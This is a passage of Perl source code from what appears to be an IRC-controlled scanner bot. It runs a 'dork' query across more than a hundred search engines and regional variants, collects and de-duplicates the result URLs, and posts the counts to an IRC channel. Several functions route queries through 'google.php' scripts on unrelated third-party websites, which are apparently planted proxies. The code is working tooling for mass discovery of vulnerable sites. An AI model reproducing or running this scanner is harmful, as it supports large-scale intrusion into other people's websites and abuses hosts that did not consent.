    if ($engine eq "MALAYSIA") { my @MALAYSIA = MALAYSIA($dork); push(@total,@MALAYSIA); }
    if ($engine eq "THAILAND") { my @THAILAND = THAILAND($dork); push(@total,@THAILAND); }
    if ($engine eq "INDIA") { my @INDIA = INDIA($dork); push(@total,@INDIA); }
    if ($engine eq "KOREA") { my @KOREA = KOREA($dork); push(@total,@KOREA); }
    if ($engine eq "ROMANIA") { my @ROMANIA = ROMANIA($dork); push(@total,@ROMANIA); }
    if ($engine eq "TAIWAN") { my @TAIWAN = TAIWAN($dork); push(@total,@TAIWAN); }
    if ($engine eq "SOUTHAFRICA") { my @SOUTHAFRICA = SOUTHAFRICA($dork); push(@total,@SOUTHAFRICA); }
    if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
    if ($engine eq "JackCOM") { my @jackcom = &jackcom($dork); push(@total,@jackcom); }
    if ($engine eq "JackTW") { my @jacktw = &jacktw($dork); push(@total,@jacktw); }
    if ($engine eq "JackEU") { my @jackeu = &jackeu($dork); push(@total,@jackeu); }
    if ($engine eq "JackSE") { my @jackse = &jackse($dork); push(@total,@jackse); }
    if ($engine eq "JackORG") { my @jackorg = &jackorg($dork); push(@total,@jackorg); }
    if ($engine eq "JackPL") { my @jackpl = &jackpl($dork); push(@total,@jackpl); }
    if ($engine eq "JackRU") { my @jackru = &jackru($dork); push(@total,@jackru); }
    if ($engine eq "JackMY") { my @jackmy = &jackmy($dork); push(@total,@jackmy); }
    if ($engine eq "JackLV") { my @jacklv = &jacklv($dork); push(@total,@jacklv); }
    if ($engine eq "JackKR") { my @jackkr = &jackkr($dork); push(@total,@jackkr); }
    if ($engine eq "JackDK") { my @jackdk = &jackdk($dork); push(@total,@jackdk); }
    if ($engine eq "JackDE") { my @jackde = &jackde($dork); push(@total,@jackde); }
    if ($engine eq "JackCL") { my @jackcl = &jackcl($dork); push(@total,@jackcl); }
    if ($engine eq "JackRO") { my @jackro = &jackro($dork); push(@total,@jackro); }
    if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }
    if ($engine eq "JackES") { my @jackes = &jackes($dork); push(@total,@jackes); }
    if ($engine eq "GOOGDE") { my @GOOGDE = GOOGDE($dork); push(@total,@GOOGDE); }
    if ($engine eq "GOOGUK") { my @GOOGUK = GOOGUK($dork); push(@total,@GOOGUK); }
    if ($engine eq "GOOGFR") { my @GOOGFR = GOOGFR($dork); push(@total,@GOOGFR); }
    if ($engine eq "GOOGES") { my @GOOGES = GOOGES($dork); push(@total,@GOOGES); }
    if ($engine eq "GOOGIT") { my @GOOGIT = GOOGIT($dork); push(@total,@GOOGIT); }
    if ($engine eq "GOOGNL") { my @GOOGNL = GOOGNL($dork); push(@total,@GOOGNL); }
    if ($engine eq "GOOGSE") { my @GOOGSE = GOOGSE($dork); push(@total,@GOOGSE); }
    if ($engine eq "GOOGNO") { my @GOOGNO = GOOGNO($dork); push(@total,@GOOGNO); }
    if ($engine eq "GOOGBR") { my @GOOGBR = GOOGBR($dork); push(@total,@GOOGBR); }
    if ($engine eq "GOOGCO") { my @GOOGCO = GOOGCO($dork); push(@total,@GOOGCO); }
    if ($engine eq "GOOGAU") { my @GOOGAU = GOOGAU($dork); push(@total,@GOOGAU); }
    if ($engine eq "GOOGRU") { my @GOOGRU = GOOGRU($dork); push(@total,@GOOGRU); }
    if ($engine eq "GOOGPL") { my @GOOGPL = GOOGPL($dork); push(@total,@GOOGPL); }
    if ($engine eq "GOOGIL") { my @GOOGIL = GOOGIL($dork); push(@total,@GOOGIL); }
    if ($engine eq "GOOGJP") { my @GOOGJP = GOOGJP($dork); push(@total,@GOOGJP); }
    if ($engine eq "GOOGCN") { my @GOOGCN = GOOGCN($dork); push(@total,@GOOGCN); }
    if ($engine eq "GOOGIN") { my @GOOGIN = GOOGIN($dork); push(@total,@GOOGIN); }
    if ($engine eq "GOOGKR") { my @GOOGKR = GOOGKR($dork); push(@total,@GOOGKR); }
    if ($engine eq "GOOGRO") { my @GOOGRO = GOOGRO($dork); push(@total,@GOOGRO); }
    if ($engine eq "GOOGZA") { my @GOOGZA = GOOGZA($dork); push(@total,@GOOGZA); }
    if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
    if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
    if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
    if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
    if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
    if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
    if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
    if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
    if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
    if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
    if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
    if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
    if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
    if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
    if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
    if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
    if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
    if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
    if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
    if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
    if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
    if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
    if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
    if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
    if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
    if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
    if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
    if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
    if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
    if ($engine eq "DooGatE") { my @doogate = doogate($dork); push(@total,@doogate); }
    if ($engine eq "sogou") { my @sogou = &sogou($dork); push(@total,@sogou); }
    if ($engine eq "interia") { my @interia = &interia($dork); push(@total,@interia); }
    if ($engine eq "snz") { my @snz = &snz($dork); push(@total,@snz); }
    if ($engine eq "yandex") { my @yandex = &yandex($dork); push(@total,@yandex); }
    if ($engine eq "joeant") { my @joeant = &joeant($dork); push(@total,@joeant); }
    if ($engine eq "terra") { my @terra = &terra($dork); push(@total,@terra); }
    if ($engine eq "youdao") { my @youdao = &youdao($dork); push(@total,@youdao); }
    if ($engine eq "amfibi") { my @amfibi = &amfibi($dork); push(@total,@amfibi); }
    if ($engine eq "bigclique") { my @bigclique = &bigclique($dork); push(@total,@bigclique); }
    if ($engine eq "dancefloor") { my @dancefloor = &dancefloor($dork); push(@total,@dancefloor); }
    if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
    if ($engine eq "rakuten") { my @rakuten = &rakuten($dork); push(@total,@rakuten); }
    if ($engine eq "biglobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
    if ($engine eq "nova") { my @nova = &nova($dork); push(@total,@nova); }
    if ($engine eq "nadji") { my @nadji = &nadji($dork); push(@total,@nadji); }
    if ($engine eq "goo") { my @goo = &goo($dork); push(@total,@goo); }
    if ($engine eq "uksubmit") { my @uksubmit = &uksubmit($dork); push(@total,@uksubmit); }
    if ($engine eq "excite") { my @excite = &excite($dork); push(@total,@excite); }
    if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
    if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
    if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
    if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
    if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
    if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
    if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
    if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
    if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
    if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
    if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
    if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
    if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
    if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
    if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
    if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
    if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
    if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
    if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
    if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
    if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
    if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
    if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
    if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
    if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
    if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
    if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
    if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
    if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
    if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
    if ($engine eq "BingGERMANY") { my @BingGERMANY = BingGERMANY($dork); push(@total,@BingGERMANY); }
    if ($engine eq "BingUNITEDKINGDOM") { my @BingUNITEDKINGDOM = BingUNITEDKINGDOM($dork); push(@total,@BingUNITEDKINGDOM); }
    if ($engine eq "BingCANADA") { my @BingCANADA = BingCANADA($dork); push(@total,@BingCANADA); }
    if ($engine eq "BingBRAZIL") { my @BingBRAZIL = BingBRAZIL($dork); push(@total,@BingBRAZIL); }
    if ($engine eq "BingFRANCE") { my @BingFRANCE = BingFRANCE($dork); push(@total,@BingFRANCE); }
    if ($engine eq "BingESPANION") { my @BingESPANION = BingESPANION($dork); push(@total,@BingESPANION); }
    if ($engine eq "BingITALY") { my @BingITALY = BingITALY($dork); push(@total,@BingITALY); }
    if ($engine eq "BingBELGIUM") { my @BingBELGIUM = BingBELGIUM($dork); push(@total,@BingBELGIUM); }
    if ($engine eq "BingNETHERLAND") { my @BingNETHERLAND = BingNETHERLAND($dork); push(@total,@BingNETHERLAND); }
    if ($engine eq "BingPORTLAND") { my @BingPORTLAND = BingPORTLAND($dork); push(@total,@BingPORTLAND); }
    if ($engine eq "BingNORWAY") { my @BingNORWAY = BingNORWAY($dork); push(@total,@BingNORWAY); }
    if ($engine eq "BingDENMARK") { my @BingDENMARK = BingDENMARK($dork); push(@total,@BingDENMARK); }
    if ($engine eq "BingSECOND") { my @BingSECOND = BingSECOND($dork); push(@total,@BingSECOND); }
    if ($engine eq "BingCHILIE") { my @BingCHILIE = BingCHILIE($dork); push(@total,@BingCHILIE); }
    if ($engine eq "BingNEWZEALAND") { my @BingNEWZEALAND = BingNEWZEALAND($dork); push(@total,@BingNEWZEALAND); }
    if ($engine eq "BingRUSSIA") { my @BingRUSSIA = BingRUSSIA($dork); push(@total,@BingRUSSIA); }
    if ($engine eq "BingJAPAN") { my @BingJAPAN = BingJAPAN($dork); push(@total,@BingJAPAN); }
    if ($engine eq "BingCHINA") { my @BingCHINA = BingCHINA($dork); push(@total,@BingCHINA); }
    if ($engine eq "BingKOREA") { my @BingKOREA = BingKOREA($dork); push(@total,@BingKOREA); }
    if ($engine eq "BingMEXICO") { my @BingMEXICO = BingMEXICO($dork); push(@total,@BingMEXICO); }
    if ($engine eq "BingARGENTINA") { my @BingARGENTINA = BingARGENTINA($dork); push(@total,@BingARGENTINA); }
    if ($engine eq "BingCLUE") { my @BingCLUE = BingCLUE($dork); push(@total,@BingCLUE); }
    if ($engine eq "BingAUSTRALIA") { my @BingAUSTRALIA = BingAUSTRALIA($dork); push(@total,@BingAUSTRALIA); }
    if ($engine eq "ASKINGCANADA") { my @ASKINGCANADA = ASKINGCANADA($dork); push(@total,@ASKINGCANADA); }
    if ($engine eq "ASKINGDENMARK") { my @ASKINGDENMARK = ASKINGDENMARK($dork); push(@total,@ASKINGDENMARK); }
    if ($engine eq "ASKINGITALY") { my @ASKINGITALY = ASKINGITALY($dork); push(@total,@ASKINGITALY); }
    if ($engine eq "ASKINGUNITEDKINGDOM") { my @ASKINGUNITEDKINGDOM = ASKINGUNITEDKINGDOM($dork); push(@total,@ASKINGUNITEDKINGDOM); }
    if ($engine eq "ASKINGFRANCE") { my @ASKINGFRANCE = ASKINGFRANCE($dork); push(@total,@ASKINGFRANCE); }
    if ($engine eq "ASKINGESPANION") { my @ASKINGESPANION = ASKINGESPANION($dork); push(@total,@ASKINGESPANION); }
    if ($engine eq "ASKINGRUSSIA") { my @ASKINGRUSSIA = ASKINGRUSSIA($dork); push(@total,@ASKINGRUSSIA); }
    if ($engine eq "ASKINGNETHERLANDS") { my @ASKINGNETHERLANDS = ASKINGNETHERLANDS($dork); push(@total,@ASKINGNETHERLANDS); }
    if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
    if ($engine eq "ASKINGPOLAND") { my @ASKINGPOLAND = ASKINGPOLAND($dork); push(@total,@ASKINGPOLAND); }
    if ($engine eq "ASKINGARGENTINA") { my @ASKINGARGENTINA = ASKINGARGENTINA($dork); push(@total,@ASKINGARGENTINA); }
    if ($engine eq "ASKINGSECOND") { my @ASKINGSECOND = ASKINGSECOND($dork); push(@total,@ASKINGSECOND); }
    if ($engine eq "ASKINGDENMARK") { my @ASKINGDENMARK = ASKINGDENMARK($dork); push(@total,@ASKINGDENMARK); }
    if ($engine eq "ASKINGNORWAY") { my @ASKINGNORWAY = ASKINGNORWAY($dork); push(@total,@ASKINGNORWAY); }
    if ($engine eq "ASKINGAUSTRALIA") { my @ASKINGAUSTRALIA = ASKINGAUSTRALIA($dork); push(@total,@ASKINGAUSTRALIA); }
    if ($engine eq "ASKINGBRAZIL") { my @ASKINGBRAZIL = ASKINGBRAZIL($dork); push(@total,@ASKINGBRAZIL); }
    if ($engine eq "ASKINGMEXICO") { my @ASKINGMEXICO = ASKINGMEXICO($dork); push(@total,@ASKINGMEXICO); }
    if ($engine eq "NetSprint") { my @netsprint = &netsprint($dork); push(@total,@netsprint); }
    if ($engine eq "sAol") { my @saol = &saol($dork); push(@total,@saol); }
    if ($engine eq "Lookle") { my @lookle = &lookle($dork); push(@total,@lookle); }
    if ($engine eq "optusZoo") { my @optuszoo = &optuszoo($dork); push(@total,@optuszoo); }
    if ($engine eq "Search66") { my @search66 = &search66($dork); push(@total,@search66); }
    if ($engine eq "Arrama") { my @arrama = &arrama($dork); push(@total,@arrama); }
    if ($engine eq "eXciteJP") { my @excitejp = &excitejp($dork); push(@total,@excitejp); }
    if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
    if ($engine eq "SearchCH") { my @searchch = &searchch($dork); push(@total,@searchch); }
    if ($engine eq "Cada") { my @cada = &cada($dork); push(@total,@cada); }
    if ($engine eq "KvaSiR") { my @kvasir = kvasir($dork); push(@total,@kvasir); } 
    if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }
    if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
    if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
    if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
    if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
    if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
    if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
    if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
    if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
    if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
    if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
    if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
    if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
    if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
    if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
    if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
    if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
    if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
    if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
    if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
    if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
    if ($engine eq "GooGLe3") { my @google3 = google3($dork); push(@total,@google3); }
    if ($engine eq "GooGLe4") { my @google4 = google4($dork); push(@total,@google4); }
    if ($engine eq "GooGLe5") { my @google5 = google5($dork); push(@total,@google5); }
    if ($engine eq "GooGLe6") { my @google6 = google6($dork); push(@total,@google6); }
    if ($engine eq "GooGLe7") { my @google7 = google7($dork); push(@total,@google7); }
    if ($engine eq "GooGLe8") { my @google8 = google8($dork); push(@total,@google8); }
    if ($engine eq "GooGLe9") { my @google9 = google9($dork); push(@total,@google9); }
    if ($engine eq "GooGLea1") { my @googlea1 = googlea1($dork); push(@total,@googlea1); }
    if ($engine eq "GooGLea2") { my @googlea2 = googlea2($dork); push(@total,@googlea2); }
    if ($engine eq "GooGLeC1") { my @googleC1 = googleC1($dork); push(@total,@googleC1); }
    if ($engine eq "GooGLeC2") { my @googleC2 = googleC2($dork); push(@total,@googleC2); }
    if ($engine eq "GooGLeC3") { my @googleC3 = googleC3($dork); push(@total,@googleC3); }
    if ($engine eq "GooGLeC4") { my @googleC4 = googleC4($dork); push(@total,@googleC4); }
    if ($engine eq "GooGLeC5") { my @googleC5 = googleC5($dork); push(@total,@googleC5); }
    @clean = &clean(@total);
    &msg("$chan","$logo(4@8$engine15)4 Total:0 (".scalar(@total).")4 Clean:0 (".scalar(@clean).")");
    return @clean;
}

#########################################

sub isFound() {
    my $status = 0;
    my $link = $_[0];
    my $reqexp = $_[1];
    my $res = &get_content($link);
    if ($res =~ /$reqexp/) { $status = 1 }
    return $status;
}

sub get_content() {
    my $url = $_[0];
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(7);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content;
}

######################################### SEARCH ENGINE gibla

sub google() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=10){
        my $search = ("http://www.google.com.ar/search?q=".key($key)."&num=100&filter=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub rediff() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=500; $i+=10) {
        my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
		$b = "$i";
        my $res = &search_engine_query($search);
		if ($res !~ /firstres=$b\'>/) {$i=500;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
            if ($1 !~ /rediff\.com/){
            my $link = $1;
				my @grep = &links($link);
				push(@list,@grep);
			}
        }
    }
    return @list;
}

sub uol() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
        my $res = &search_engine_query($search);
		if ($res !~ m/<span class=\"next\">pr&#243;xima<\/span>/){$i=500;}
        while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
            if ($1 !~ /uol\.com/) {
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bing() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$i."&FORM=PERE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|bing/) {
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingGERMANY() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingGERMANY/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingUNITEDKINGDOM() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingUNITEDKINGDOM/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingCANADA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingCANADA/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingBRAZIL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingBRAZIL/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingFRANCE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingFRANCE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingESPANION() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingESPANION/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub GOOGDE() {
    my @list;
    my $key = $_[0];
       my $search = ("http://www.ameliagutierrez.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGUK() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.emmacano.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGFR() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.legge-web.de/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGES() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.highland-group.net/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGIT() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.btbb.org//google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGNL() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.drjafri.com/blog//google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGSE() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.claudiolopes.com.br/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGNO() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.karenblankenshiplive.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}


sub GOOGBR() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.southerntribune.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
